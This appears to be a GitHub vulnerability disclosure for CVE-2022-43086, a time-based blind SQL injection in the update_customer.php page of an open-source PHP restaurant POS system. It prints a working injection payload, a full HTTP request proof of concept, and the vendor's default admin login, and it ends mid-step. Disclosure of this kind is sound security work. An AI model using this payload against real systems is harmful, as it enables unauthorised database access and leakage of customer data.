CVE-2022-43086: CVE_Hunter/SQLi-4.md at main · Tr0e/CVE_Hunter

Vulnerability Description

Restaurant POS System v1.0 was discovered to contain a SQL injection vulnerability via the update_customer.php. It is an open source project from campcodes.com. This vulnerability can lead to database information leakage.

1. Vulnerability Submitter: Tr0e
2. vendors: Restaurant POS System in PHP with Source Code - CodeAstro
3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /RestaurantPOS/Restro/admin/update_customer.php

Vulnerability Verification

[+] Payload:

test’and(select*from(select+sleep(3))a/**/union/**/select+1)=’

POC：

POST http://192.168.0.120:91/RestaurantPOS/Restro/admin/update_customer.php?update=dac2ad667158’and(select*from(select+sleep(3))a/**/union/**/select+1)=’ HTTP/1.1 Host: 192.168.0.120:91 Content-Length: 130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.120:91 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.120:91/RestaurantPOS/Restro/admin/update_customer.php?update=dac2ad667158 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=ldi7mdlvm8g7bnfhunuvrhp8ne Connection: close

customer_name=Yao&customer_phoneno=13011113333&customer_email=123%40qq.com&customer_password=123456&updateCustomer=Update+Customer

How to verify

1. Build the vulnerability environment according to the steps provided by the source code author ;
2. log in to the "Admin Panel” through the default account and password（Email: [email protected] Password: codeastro.com）;
3. The vulnerability is located at the “Customers - Update” function, you should inserts Payload when you Update any customer’s information，as shown in the following figure：